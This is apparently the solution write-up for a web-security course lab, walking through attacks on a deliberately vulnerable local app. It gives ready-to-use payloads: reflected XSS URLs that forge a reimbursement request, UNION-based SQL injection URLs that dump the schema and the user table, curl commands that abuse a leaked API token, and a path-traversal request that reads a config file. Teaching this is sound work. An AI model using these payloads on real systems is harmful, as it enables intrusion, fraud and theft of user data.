Solution
Note
Clicking the button below automatically creates a blood oath with the course. It only works if you actually tried to do the exercise beforehand. Click at your own risk.
In this solution, I’ll use Firefox. I highly recommend it due to its “Edit and Resend” feature. On Chrome, your best bet is the “Copy as fetch” feature.
Level 1
(*---) Log in.
This is a warm-up. If you have read Chapter 5, you probably already know what you need to do.
You can guess that users are probably stored in a database. So, go to the login screen and try inject some SQL code which escapes a string. We can already guess there’s a query that looks something like:
-- Single-line version.
SELECT * FROM `user` WHERE `username` = '{user_input}' AND `password` = '{user_input}';
or
-- Multi-line version.
SELECT * FROM `user`
WHERE `username` = '{user_input}'
AND `password` = '{user_input}';
Newlines could make a difference because you need to inject a comment marker,
--, which ends at the end of the line. Consider both possibilities.
Finally, you need a valid username. Handy, there are some on the home page.
Once logged in, notice that you have a new cookie in your jar: “Storage > Cookies” on Firefox, “Application > Storage > Cookies” on Chrome.
(*---) Provoke an XSS attack on a specific page.
While solving the previous challenge, you may have noticed an error message when you enter an invalid username/password combination:

What about it? Well, look at the URL in your browser:
http://localhost:4000/login?error=Invalid+username+and%2For+password.
See that query parameter? Don’t you want to write some HTML code there and see what happens?
(*---) Give a feedback comment on the behalf of someone else.
Let’s go back to the home page. There is a feedback form there. Start by
leaving one with your network tab open
(Firefox,
Chrome). Identify the
request that submits data (most probably a POST one) and look at its body.
(*---) Enter a reimbursement request with an invalid IBAN.
Time to move to the reimbursement page. If you try to enter an invalid IBAN, you should see an error. That kind of field validation are the first thing to check when working with forms.
Is the validation client-side? Is it server-side? It should be both really or, at least, it must be server-side. Make sure it is (“Edit and Resend” is your best friend here).

Level 2
(**--) Provoke an XSS attack that triggers a new reimbursement request.
Using the previously discovered XSS attack, you could inject:
http://localhost:4000/login?error=<form id="f" method="POST" action="/reimbursement"><input type="hidden" name="amount" value="5000000"><input type="hidden" name="iban" value="BE03200973794384"><input type="hidden" name="description" value="All your base are belong to us."></form><script>document.getElementById("f").submit()</script>
or the same thing using only JavaScript:
http://localhost:4000/login?error=<script>fetch("/reimbursement",{method:"POST",body:new URLSearchParams({amount:"5000000","iban":"BE03200973794384","description":"Thanks!"})})</script>
Then check the reimbursement page if it worked (or your network tab otherwise).
(**--) Log in as someone else without using the login screen.
Still on the reimbursement page, open your network tab and observe requests. You should have noticed the “/api/reimbursement” call. Look at its body, there’s something wrong. That’s a vulnerability already.
Furthermore, don’t you notice something weird with the requester_id field?
Doesn’t it look a lot like your session cookie? That’s the key to clear this
challenge.
(**--) Check other people's holidays.
Let’s head to GIRAF’s holidays tab. You can look as much as you want into your network tab, you won’t see any leaked data this time around. Indeed, contrary to the previous one, this page is server-side rendered and we can only fetch our own holidays.
Do we?
Hover over any “details” link. Check the URL. Hover over the next one. What’s the URL now? See any pattern?
Level 3
(***-) Delete a profile picture.
If you go to the account page by clicking on your profile on the top-right of
the screen, you can see the user’s profile picture. Looking at your network
tab, you’ll see the GET request responsible for fetching it. First thing you
can try is to make a DELETE request to that same URL.
It doesn’t work. 401 Unauthorized means that the route exists but that you’re
missing valid authentication.
If you look at the console tab, you’ll notice a promising message:
TODO: implement profile picture upload form
A developer seems to have forgotten this message and, conveniently, that’s exactly the component we’re trying to break. So let’s look into the source code (Right click on the page > “View page source” or just go to view-source:http://localhost:4000/account).
console.log("TODO: implement profile picture upload form");
// const API_TOKEN = "3JGH3Mc4Es1rp6njwwfIxrRszqvPSy1m";
// fetch("http://localhost:5000/", {
// method: "POST",
// headers: {
// Authorization: `Bearer ${API_TOKEN}`,
// },
// });
Well, that’s interesting. That API_TOKEN is probably not meant to be here. It
looks like credentials that are supposed to be used by the backend only to
authenticate to another web service (notice that localhost:5000 is ELEFAN,
not GIRAF). Someone forgot it here, in the frontend. That’s a big mistake.
It is the missing piece to clear this challenge. Let’s try to use it in our
DELETE request from earlier. In a terminal, trigger the request using curl
(check the manual for options
descriptions):
$ curl -v -X DELETE 'http://localhost:5000/picture/480d47f5-403d-42ce-ab49-ce30d80b8183' -H 'Authorization: Bearer 3JGH3Mc4Es1rp6njwwfIxrRszqvPSy1m'
* Established connection to localhost (127.0.0.1 port 5000) from 127.0.0.1 port 32964
* using HTTP/1.x
> DELETE /picture/f7c71e17-c3bd-4025-832f-6a9047c76e0f HTTP/1.1
> Host: localhost:5000
> User-Agent: curl/8.20.0
> Accept: */*
> Authorization: Bearer 3JGH3Mc4Es1rp6njwwfIxrRszqvPSy1m
>
* Request completely sent off
< HTTP/1.1 204 NO CONTENT
< Server: Werkzeug/3.1.8 Python/3.14.5
< Date: Wed, 20 May 2026 11:34:05 GMT
< Content-Type: text/html; charset=utf-8
< Connection: close
<
* shutting down connection #0
That’s it: 204 No content. No errors. If you refresh the page, you won’t have
any profile picture anymore. Using the API token, you can actually delete
anyone’s profile picture. Oops.
(***-) Provoke an XSS attack on any page.
Remember there’s a ?error= query parameter on the login page which is
vulnerable to XSS attacks. Does this parameter exist on other pages? Looking
through GIRAF’s source code will give you an answer, or just trying to use it
on another page.
Level 4
(****) Leak the database schema.
This one’s my favorite. It takes place on the holidays tab and exploits SQL injection too. There are filters there to display only specific holidays types. Check out the URL after clicking on one:
http://localhost:4000/holiday?status=('PENDING','ACCEPTED')
Hmm… String enclosed in single quotes inside a list delimited by parentheses. Doesn’t it look a lot like SQL to you? At this point, we can probably guess the server is executing something like:
SELECT *
FROM `holiday`
WHERE `user_id` = ?
AND `status` IN {user_input};
So, what if we navigate to:
http://localhost:4000/holiday?status=()UNION SELECT name,sql FROM sqlite_schema
It turns the request into:
SELECT *
FROM `holiday`
WHERE `user_id` = {your_user_id}
AND `status` IN ()
UNION
SELECT `name`, `sql`
FROM `sqlite_schema`;
With this, we’re trying to extract the name and SQL source code of all tables (see SQLite’s documentation, one of the greatest doc out there).
However, we only get an error. But rejoice, while playing the hacker’s role, seeing an error is always promising! Note that displaying this error to the end-user is actually a developer’s mistake because it helps us.
error returned from database: (code: 1) SELECTs to the left and right of UNION do not have the same number of result columns
What does it mean? Well, UNION here above needs the same number of columns on
both sides:
-- Invalid request example.
(SELECT `id`, `start_date`, `end_date` FROM `holiday`)
UNION (SELECT `name`, `sql` FROM `sqlite_schema`);
-- Valid request example.
(SELECT `id`, `start_date`, `end_date` FROM `holiday`)
UNION (SELECT `name`, `sql`, 'dummy' FROM `sqlite_schema`);
We don’t know how many columns the query’s fetching, but we can work our way around that by sending multiple payloads until something happens:
http://localhost:4000/holiday?status=()UNION SELECT'a'FROM sqlite_schema
http://localhost:4000/holiday?status=()UNION SELECT'a','b'FROM sqlite_schema
http://localhost:4000/holiday?status=()UNION SELECT'a','b','c'FROM sqlite_schema
http://localhost:4000/holiday?status=()UNION SELECT'a','b','c','d'FROM sqlite_schema
http://localhost:4000/holiday?status=()UNION SELECT'a','b','c','d','e'FROM sqlite_schema
As you can see, the idea is to add dummy columns on the right hand of UNION
until we reach the correct amount.
The last URL should give you a different error message. Almost-bingo!
error occurred while decoding column "id": mismatched types; Rust type `i64` (as SQL type `INTEGER`) is not compatible with SQL type `TEXT`
Apparently, the issue is now about incompatible types, we’re trying to cast a string to an int and the server is not happy about it. So, let’s try to replace each dummy column one by one with an integer until something happens:
http://localhost:4000/holiday?status=()UNION SELECT 1,'b','c','d','e'FROM sqlite_schema

That was quick, we no longer have an error message, and we can see our dummy strings being reflected on the page. Bingo!
In fact, the first column left-hand of
UNIONwas the holiday’s ID, an integer, hence the previous error.
OK, now let’s exploit this to solve the challenge:
http://localhost:4000/holiday?status=()UNION SELECT 1,type,name,tbl_name,sql FROM sqlite_schema
(****) Leak any database table.
You did most of the work in the previous challenge. Now that you know the database schema, you can use the same SQL injection vulnerability to trigger other queries, for instance:
http://localhost:4000/holiday?status=()UNION SELECT 1,id,username,CAST(admin AS TEXT),HEX(password_sha256)FROM user
(****) Log in as an administrator.
In the previous solution, we dumped the full user table. We now know who’s
the admin, we know its id, such that, using previous vulnerabilities, you can
easily log in as that user.
(****) Retrieve a user's password.
While leaking the database schema, we discovered there’s a column named
password_sha256. Hashing a password is not enough, we should salt it too. See
Chapter 7. In fact,
when leaking the user table above, you may have noticed that wilson and
becky_on are two different users sharing the same password. A salt would have
prevented us knowing this.
All users have weak passwords. In order to retrieve them, you could take a list of known common passwords, then hash them one by one, and compare them with the leaked hashes.
(****) Read ELEFAN's config remotely. You must read ELEFAN's source code for this one.
Well, look at this:
@app.get("/metadata/<path:resource>")
def get_picture_metadata(resource):
if not check_token():
return abort(401)
metadata_path = f"storage/{resource}.json"
if not os.path.isfile(metadata_path):
return abort(404)
return send_file(metadata_path, mimetype="application/json")
See the metadata_path variable? You could inject a path using the resource
parameter. Try something like:
$ curl -X GET 'http://localhost:5000/metadata/..%2Fconfig' -H 'Authorization: Bearer 3JGH3Mc4Es1rp6njwwfIxrRszqvPSy1m'
{
"API_TOKEN": "3JGH3Mc4Es1rp6njwwfIxrRszqvPSy1m",
"SUPER_SECRET_VALUE": "Can you read me?"
}
As %2F gets interpreted as /, Python opens the file at
“storage/../config.json” and so we can read the config remotely.